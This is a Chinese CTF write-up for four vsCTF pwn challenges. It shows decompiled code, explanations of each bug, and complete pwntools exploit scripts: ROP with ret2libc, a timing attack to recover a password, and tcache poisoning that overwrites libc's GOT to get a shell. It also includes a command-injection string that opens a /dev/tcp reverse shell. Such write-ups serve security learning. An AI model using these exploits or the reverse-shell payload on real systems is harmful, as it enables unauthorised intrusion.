vsctf_pwn
题目附件https://github.com/nyyyddddn/ctf/tree/main/vsctf_pwn
pwn
cosmic-ray-v3
程序的逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed __int64 v3; // rax
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
cosmic_ray();
v3 = sys_exit(0);
return 0;
}
__int64 cosmic_ray()
{
__off_t offset; // [rsp+8h] [rbp-28h] BYREF
char v2; // [rsp+12h] [rbp-1Eh] BYREF
char buf; // [rsp+13h] [rbp-1Dh] BYREF
unsigned int v4; // [rsp+14h] [rbp-1Ch] BYREF
__int64 v5; // [rsp+18h] [rbp-18h]
__int64 v6; // [rsp+20h] [rbp-10h]
int fd; // [rsp+28h] [rbp-8h]
int i; // [rsp+2Ch] [rbp-4h]
puts("Enter an address to send a cosmic ray through:");
__isoc99_scanf("0x%lx", &offset);
getchar();
putchar(10);
fd = open("/proc/self/mem", 2);
lseek(fd, offset, 0);
read(fd, &buf, 1uLL);
v6 = byte_to_binary((unsigned int)buf);
puts("|0|1|2|3|4|5|6|7|");
puts("-----------------");
putchar(124);
for ( i = 0; i <= 7; ++i )
printf("%d|", (unsigned int)*(char *)(i + v6));
putchar(10);
putchar(10);
puts("Enter the bit position to flip:");
__isoc99_scanf("%d", &v4);
getchar();
if ( v4 >= 8 )
exit(1);
v5 = flip_bit(v6, v4);
v2 = binary_to_byte(v5);
putchar(10);
printf("Bit succesfully flipped! New value is %d\n\n", (unsigned int)v2);
lseek(fd, offset, 0);
write(fd, &v2, 1uLL);
return 0LL;
}
这里很神奇的地方是cosmic_ray其实能翻转没有写权限段的数据,通过/proc/self/mem linux中的伪文件系统实现的
然后程序中有一个很奇怪的地方,这个exit是通过内联汇编实现的exit,手工fuzz了好久,发现翻转 0xb8可以将 mov eax,0x3c 变成 mov edx,0x3c,也就是syscall read,刚刚好能溢出,覆盖返回地址六个字节,main函数的返回地址是libc_start_main上的地址,刚刚好是六个字节
这时候想到的做法是,先翻转 0xb8回到main后,再将syscall read的rdx改大,这样就可以打rop了,高版本glibc csu函数变成动态链接,所以没有好用的修改寄存器的gadget,但是可以通过cosmic_ray 去写gadget,只需要写一个pop rdi ret的gadget,打ret2libc就好了
.text:00000000004015E0 E8 E9 FD FF FF call cosmic_ray
.text:00000000004015E0
.text:00000000004015E5 B8 3C 00 00 00 mov eax, 3Ch ; '<'
.text:00000000004015EA 48 31 FF xor rdi, rdi ; error_code
.text:00000000004015ED 0F 05 syscall ; LINUX - sys_exit
.text:00000000004015EF B8 00 00 00 00 mov eax, 0
.text:00000000004015F4 5D pop rbp
.text:00000000004015F5 C3 retn
.text:00000000004015F5 ; } // starts at 4015AB
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "vsc.tf"
PORT = 7000
elf = context.binary = ELF('./cosmicrayv3')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
addr = "0x4015E5"
main = 0x4015AF
bss = 0x3fe000
# .text:00000000004015E5 B8 3C 00 00 00 mov eax, 3Ch ; '<'
# .text:00000000004015EA 48 31 FF xor rdi, rdi ; error_code
# .text:00000000004015ED 0F 05 syscall
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","6") # stackover flow
# .text:00000000004015AF 55 push rbp
# .text:00000000004015B0 48 89 E5 mov rbp, rsp
# .text:00000000004015B3 48 8B 05 66 2A 00 00 mov rax, cs:stdout@GLIBC_2_2_5
# .text:00000000004015BA BE 00 00 00 00 mov esi, 0 ; buf
# .text:00000000004015BF 48 89 C7 mov rdi, rax ; stream
# .text:00000000004015C2 E8 49 FB FF FF call _setbuf
payload = b'a' * (0x3c - 0x6 - 0x8) + p64(bss + 0x100) + p32(0x4015B0) + b'\x00\x00'
s(payload)
addr = "0x4015E7"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","2") # modify size
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(0x4015B0)
s(payload)
# print(disasm(asm("pop rdi; ret")))
# 0: 5f pop rdi 01011111
# 1: c3 ret 11000011
# 0x40100c - 0x40100d 0x2f(00101111) 0x00(00000000)
# 1 2 3
# 0 1 6 7
addr = "0x40100c"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","1")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(0x4015B0)
s(payload)
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","2")
s(payload)
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","3")
s(payload)
addr = "0x40100d"
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","0")
s(payload)
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","1")
s(payload)
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","6")
s(payload)
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
s(payload)
pop_rdi_ret = 0x000000000040100c
getchar_got = elf.got['getchar']
puts_plt = elf.plt['puts']
addr = "0x3fe100" # useless
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(pop_rdi_ret) + p64(getchar_got) + p64(puts_plt) + p64(0x00000000004015AF)
s(payload)
rl()
rl()
rl()
r(1)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x7c5725c87ae0 - 0x7c5725c00000)
success(f"libc_base ->{hex(libc_base)}")
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh'))
ret = 0x000000000040101a
addr = "0x3fe100" # useless
sla("Enter an address to send a cosmic ray through:",addr)
sla("Enter the bit position to flip:","7")
payload = b'a' * (0x36 - 0x8) + p64(bss + 0x100) + p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
# g(p)
s(payload)
p.interactive()
vs-gateway
程序的逻辑
use std::io::{self, Write};
use std::process::{Command, self};
use std::fs;
use md5;
use rand::{self, Rng};
pub static mut ESSID: String = String::new();
static BSSID: &str = "94:4e:6f:d7:bf:05";
static mut BAND: String = String::new();
static mut CHANNEL: i32 = 0;
static mut WIFI_PASSWORD: String = String::new();
static mut ID: u64 = 0;
fn check_password(password: String) -> bool{
let digest = md5::compute(password.trim());
if format!("{:x}", digest) == "e10adc3949ba59abbe56e057f20f883e" {
true
}
else{
false
}
}
fn auth() -> bool{
let mut username = String::new();
let mut password = String::new();
print!("Username: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut username).expect("Cannot read username!");
print!("Password: ");
io::stdout().flush().unwrap();
io::stdin().read_line(&mut password).expect("Cannot read username!");
if username.trim() == "admin" && check_password(password){
println!("Access granted!");
true
}
else{
println!("Access forbidden!");
false
}
}
fn save_properties_to_file(){
unsafe{
let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
Command::new("/bin/sh")
.arg("-c")
.arg(cmd)
.output()
.expect("Failed to execute command");
}
}
fn show_properties(){
unsafe{
println!("--- PROPERTIES -----------------------------");
println!("Essid\t\t{ESSID}");
println!("Bssid\t\t{BSSID}");
println!("Band\t\t{BAND}GHz");
println!("Channel\t\t{CHANNEL}");
println!("Password\t{WIFI_PASSWORD}\n");
}
}
fn change_essid(){
let mut input: String = String::new();
let mut done = false;
unsafe{
println!("Current essid: {ESSID}");
while !done {
done = true;
print!("New essid: ");
io::stdout().flush().unwrap();
input.clear();
io::stdin().read_line(&mut input).expect("Failed to readline");
for c in input.trim().chars(){
if !"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ".contains(c){
done = false;
break
}
}
}
ESSID = input.trim().to_owned();
println!("Done!");
}
save_properties_to_file();
}
fn change_wifi_band(){
unsafe{
println!("Current band: {BAND}GHz");
if BAND=="2.4"{
BAND = String::from("5");
CHANNEL = 100;
}
else{
BAND = String::from("2.4");
CHANNEL = 6;
}
println!("New band: {BAND}GHz");
}
save_properties_to_file();
}
fn change_channel(){
let mut input: String = String::new();
let mut channel_tmp: i32;
unsafe{
print!("Current band: {BAND}GHz ");
if BAND == "2.4"{
println!("(from 1 to 11)")
}
else{
println!("(from 36 to 165)")
}
println!("Current channel: {CHANNEL}");
loop {
print!("New channel: ");
io::stdout().flush().unwrap();
input.clear();
io::stdin().read_line(&mut input).expect("Failed to readline");
channel_tmp = input.trim().parse().expect("Invalid number");
if BAND == "2.4" && (1..12).contains(&channel_tmp){
CHANNEL = channel_tmp;
break;
}
else if BAND == "5" && (36..166).contains(&channel_tmp){
CHANNEL = channel_tmp;
break;
}
}
println!("Done!\n");
}
save_properties_to_file();
}
fn change_wifi_password(){
let mut input: String = String::new();
unsafe{
println!("Current password: {WIFI_PASSWORD}");
print!("New password: ");
io::stdout().flush().unwrap();
input.clear();
io::stdin().read_line(&mut input).expect("Failed to readline");
WIFI_PASSWORD = input.trim().to_owned();
println!("Done!");
}
save_properties_to_file();
}
fn menu(){
println!("--- MENU ---------------------");
println!("1. Show properties");
println!("2. Change essid");
println!("3. Change wifi band");
println!("4. Change channel");
println!("5. Change wifi password");
println!("6. Exit");
print!("> ");
io::stdout().flush().unwrap();
}
fn load_data(){
unsafe{
ID = rand::thread_rng().gen_range(1..0xffffffffffffffff);
let cmd = format!("echo \"View Source Guest\\n2.4\\n6\\n123456789\" > /tmp/{ID}.conf");
Command::new("/bin/sh")
.arg("-c")
.arg(cmd)
.output()
.expect("Failed to execute command");
let datas = fs::read_to_string(format!("/tmp/{ID}.conf")).expect("Cannot load default data");
let mut parts = datas.split("\n");
ESSID = parts.nth(0).expect("Error when parsing essid").to_owned();
BAND = parts.nth(0).expect("Error when parsing band").to_owned();
CHANNEL = parts.nth(0).expect("Error when parsing channel").to_owned().parse().unwrap();
WIFI_PASSWORD = parts.nth(0).expect("Error when parsing wifi password").to_owned();
}
}
fn run(){
let mut choice;
let mut input = String::new();
load_data();
show_properties();
loop {
menu();
input.clear();
io::stdin().read_line(&mut input).expect("Cannot read input!");
choice = match input.trim().parse() {
Ok(num) => num,
_ => 0
};
match choice {
1 => show_properties(),
2 => change_essid(),
3 => change_wifi_band(),
4 => change_channel(),
5 => change_wifi_password(),
6 => {
unsafe{
fs::remove_file(format!("/tmp/{ID}.conf")).unwrap();
}
break
},
_ => {
println!("Invalid choice!");
},
}
}
}
fn main() {
println!("----------------------------");
println!("| VS Gateway |");
println!("----------------------------");
if auth(){
run();
}
process::exit(0);
}
程序是rust语言写的不太熟悉rust,不过程序逻辑很简单,很快就找到漏洞了,每次更新Gateway状态的时候都会调用save_properties_to_file() 这个函数,这个函数的功能是使用shell中 echo的方式将Gateway的状态写到配置文件中,存在一个命令注入,其中修改wifi密码选项那,没有做任何检查,只需要截断一下命令就好了 也就是构造 ;command;# 这样的表达式
fn save_properties_to_file(){
unsafe{
let cmd = format!("echo \"{ESSID}\\n{BAND}\\n{CHANNEL}\\n{WIFI_PASSWORD}\" > /tmp/{ID}.conf");
Command::new("/bin/sh")
.arg("-c")
.arg(cmd)
.output()
.expect("Failed to execute command");
}
}
不过很奇怪的地方是,执行命令后没有回显,尝试重定向fd 还有 /dev/stdout这样的伪文件系统去输出结果,都不太行,后面想到可以反弹shell
password123";/bin/bash -c "/bin/bash -i >& /dev/tcp/127.0.0.1/6666 0>&1";#
shs
程序的逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-1Ch]
char s[11]; // [rsp+Dh] [rbp-13h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("Enter the password:");
fgets(s, 11, stdin);
if ( (unsigned int)strlen(s) != 10 )
{
puts("Wrong password!");
exit(0);
}
for ( i = 0; i <= 9; ++i )
{
if ( (unsigned __int8)getPassChar((unsigned int)i) != s[i] )
{
puts("Wrong password!");
exit(0);
}
}
puts("Welcome, admin!");
system("/bin/sh");
return v7 - __readfsqword(0x28u);
}
__int64 __fastcall getPassChar(unsigned int a1)
{
const char *v1; // rsi
const char *v2; // rax
unsigned __int8 v4; // [rsp+1Ah] [rbp-36h]
__int64 v5; // [rsp+20h] [rbp-30h] BYREF
__int64 v6; // [rsp+28h] [rbp-28h]
char s[10]; // [rsp+33h] [rbp-1Dh] BYREF
char v8[11]; // [rsp+3Dh] [rbp-13h] BYREF
unsigned __int64 v9; // [rsp+48h] [rbp-8h]
v9 = __readfsqword(0x28u);
v6 = archive_read_new();
archive_read_support_filter_all(v6);
archive_read_support_format_all(v6);
if ( (unsigned int)archive_read_open_filename(v6, "password.txt.tar.gz", 10240LL) )
{
puts("Failed to open archive");
exit(1);
}
snprintf(s, 0xAuLL, "%d.txt", a1);
while ( !(unsigned int)archive_read_next_header(v6, &v5) )
{
v1 = (const char *)archive_entry_pathname(v5);
if ( !strcmp("password.txt", v1) )
{
if ( archive_read_data(v6, v8, 10LL) != 10 )
{
puts("Failed to read password");
exit(1);
}
v4 = v8[a1];
break;
}
v2 = (const char *)archive_entry_pathname(v5);
if ( !strcmp(s, v2) )
{
if ( archive_read_data(v6, v8, 1LL) != 1 )
{
puts("Failed to read password");
exit(1);
}
v4 = v8[0];
break;
}
}
if ( !v4 )
{
puts("Failed to find password");
exit(1);
}
if ( (unsigned int)archive_read_free(v6) )
{
puts("Failed to free archive");
exit(1);
}
usleep(0x7A120u);
return v4;
}
远程环境的password.txt.tar.gz 和附件中的password.txt.tar.gz 不相同,直接爆破password的话是一个指数问题,有一个sleep的逻辑usleep(0x7A120u); 可以通过判断sleep的时间来判断第i位的内容是否是正确的password
exp
from pwn import *
from string import printable
import time
context.log_level='error'
IP = "vsc.tf"
PORT = 7004
password = list('a' * 10)
idx = 0
wait_time = 0.5
tolerance_time = 0.03
while idx < 10:
for c in printable:
try:
print(f'{"".join(password)[:idx + 1]} |current character ->{c}')
p = process("./shs")
# p = remote(IP,PORT)
p.recvuntil("password:")
password[idx] = c
start_time = time.time()
p.sendline(''.join(password).encode())
p.recvuntil(b'W')
end_time = time.time()
p.close()
remaining_time = (end_time - start_time - wait_time)
if remaining_time > tolerance_time:
idx += 1
wait_time = 0.5 * (idx + 1)
break
except:
pass
print("".join(password)[:idx + 1])
Domain Expansion
程序的逻辑
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
while ( 2 )
{
while ( 1 )
{
menu();
printf("Enter your choice: ");
__isoc99_scanf("%d", &v4);
if ( v4 <= 5 )
break;
if ( v4 == 260 )
{
if ( domain_expanded )
puts("You cannot use this ability again!");
else
domain_expansion();
}
else
{
LABEL_15:
puts("Invalid choice");
}
}
if ( v4 <= 0 )
goto LABEL_15;
switch ( v4 )
{
case 1:
create();
continue;
case 2:
edit();
continue;
case 3:
print();
continue;
case 4:
delete();
continue;
case 5:
return 0;
default:
goto LABEL_15;
}
}
}
unsigned __int64 domain_expansion()
{
unsigned int v1; // [rsp+Ch] [rbp-14h] BYREF
__int64 v2; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("DOMAIN EXPANSION");
printf("Enter an index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
{
printf("Expanded size: ");
__isoc99_scanf("%lu", &v2);
getchar();
*(_QWORD *)(*((_QWORD *)&chunks + 2 * (int)v1) - 8LL) = v2;
qword_4068[2 * (int)v1] = v2;
domain_expanded = 1;
}
else
{
puts("Invalid index");
}
return v3 - __readfsqword(0x28u);
}
unsigned __int64 create()
{
unsigned int v0; // ebx
unsigned int idx; // [rsp+Ch] [rbp-24h] BYREF
size_t size; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-18h]
v4 = __readfsqword(0x28u);
printf("Enter an index: ");
__isoc99_scanf("%d", &idx);
getchar();
if ( idx > 0xF || *((_QWORD *)&chunks + 2 * (int)idx) )
{
puts("Invalid index");
}
else
{
printf("Enter a size: ");
__isoc99_scanf("%lu", &size);
getchar();
if ( size <= 0x1000 )
{
v0 = idx;
*((_QWORD *)&chunks + 2 * (int)v0) = malloc(size);
qword_4068[2 * (int)idx] = size;
printf("Chunk created at index %d\n", idx);
}
else
{
puts("Too big!");
}
}
return v4 - __readfsqword(0x28u);
}
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter an index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
{
printf("Enter data: ");
readline(*((_QWORD *)&chunks + 2 * (int)v1), qword_4068[2 * (int)v1]);
}
else
{
puts("Invalid index");
}
return v2 - __readfsqword(0x28u);
}
unsigned __int64 print()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter an index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
{
printf("Data: ");
puts(*((const char **)&chunks + 2 * (int)v1));
}
else
{
puts("Invalid index");
}
return v2 - __readfsqword(0x28u);
}
unsigned __int64 delete()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Enter an index: ");
__isoc99_scanf("%d", &v1);
getchar();
if ( v1 <= 0xF && *((_QWORD *)&chunks + 2 * (int)v1) )
{
free(*((void **)&chunks + 2 * (int)v1));
*((_QWORD *)&chunks + 2 * (int)v1) = 0LL;
qword_4068[2 * (int)v1] = 0LL;
printf("Chunk deleted at index %d\n", v1);
}
else
{
puts("Invalid index");
}
return v2 - __readfsqword(0x28u);
}
glibc 2.35,domain_expanded中可以构造一个堆叠,通过tcache poison,写 libc got中strlen为system 然后去puts一个内容为binsh的堆就可以getshell了,这条利用链第一次见。
puts 一进去后会call strlen,同时call strlen的时候 rdi寄存器没有更新,然后libc.so的RELRO保护是Partial RELRO,got表还是可以写的
.text:0000000000080E50 ; __int64 __fastcall puts(__int64)
.text:0000000000080E50 public puts ; weak
.text:0000000000080E50 puts proc near ; DATA XREF: LOAD:000000000000D0C8↑o
.text:0000000000080E50 ; LOAD:000000000000D1A0↑o
.text:0000000000080E50
.text:0000000000080E50 var_2C= dword ptr -2Ch
.text:0000000000080E50
.text:0000000000080E50 ; __unwind { // sub_2A160
.text:0000000000080E50 F3 0F 1E FA endbr64 ; Alternative name is '_IO_puts'
.text:0000000000080E54 41 56 push r14
.text:0000000000080E56 41 55 push r13
.text:0000000000080E58 41 54 push r12
.text:0000000000080E5A 49 89 FC mov r12, rdi
.text:0000000000080E5D 55 push rbp
.text:0000000000080E5E 53 push rbx
.text:0000000000080E5F 48 83 EC 10 sub rsp, 10h
.text:0000000000080E63 E8 28 76 FA FF call j_strlen
exp
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
context(os='linux', arch='amd64', log_level='debug')
is_debug = 1
IP = "vsc.tf"
PORT = 7001
elf = context.binary = ELF('./domainexpansion')
libc = elf.libc
def connect():
return remote(IP, PORT) if not is_debug else process()
g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])
p = connect()
def create(idx, size):
sla(b'Enter your choice: ', b'1')
sla(b'Enter an index: ', str(idx).encode())
sla(b'Enter a size: ', str(size).encode())
def delete(idx):
sla(b'Enter your choice: ', b'4')
sla(b'Enter an index: ', str(idx).encode())
def edit(idx, data):
sla(b'Enter your choice: ', b'2')
sla(b'Enter an index: ', str(idx).encode())
sla(b'Enter data: ', data)
def show(idx):
sla(b'Enter your choice: ', b'3')
sla(b'Enter an index: ', str(idx).encode())
def expand(idx, size):
sla(b'Enter your choice: ', b'260')
sla(b'Enter an index: ', str(idx).encode())
sla(b'Expanded size: ', str(size).encode())
def show_chunklist():
gdb_comm = '''
x /100gx $rebase(0x4060)
bins
'''
gdb.attach(p,gdb_comm)
create(0,0x40)
create(1,0x80)
for i in range(2, 2 + 7):
create(i,0x80)
for i in range(2, 2 + 7):
delete(i) # refill tcache
delete(1) # unsorted bin
expand(0,0x40 + 0x8 + 0x80 + 0x8 + 0x1)
edit(0,b'a' * 0x48 + b'a' * 8)
show(0)
ru(b'a' * 0x48 + b'a' * 8)
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x731437c1ace0 - 0x731437a00000)
success(f"libc_base ->{hex(libc_base)}")
edit(0,b'\x00' * 0x48 + p64(0x91)) # reset
libc_strlen_got = libc_base + 0x21a098
system = libc_base + libc.sym['system']
for i in range(2, 2 + 7):
create(i,0x80)
create(1,0x80)
delete(1)
edit(0,b'a' * 0x48 + b'a' * 8)
show(0)
ru(b'a' * 0x48 + b'a' * 8)
heap_addr = u64(r(5).ljust(8,b'\x00'))
heap_base = heap_addr << 12
success(hex(heap_base))
edit(0,b'\x00' * 0x48 + p64(0x91) + p64(0) + p64(0)) # reset
create(1,0x80)
delete(8)
delete(1)
edit(0,b'\x00' * 0x48 + p64(0x91) + p64((libc_strlen_got - 0x18) ^ (heap_base >> 12)))
create(1,0x80)
create(9,0x80)
edit(1,b'/bin/sh\x00')
edit(9,b'\x00' * 0x18 + p64(system))
# gdb_comm = '''
# b puts
# c
# '''
# gdb.attach(p,gdb_comm)
show(1)
p.interactive()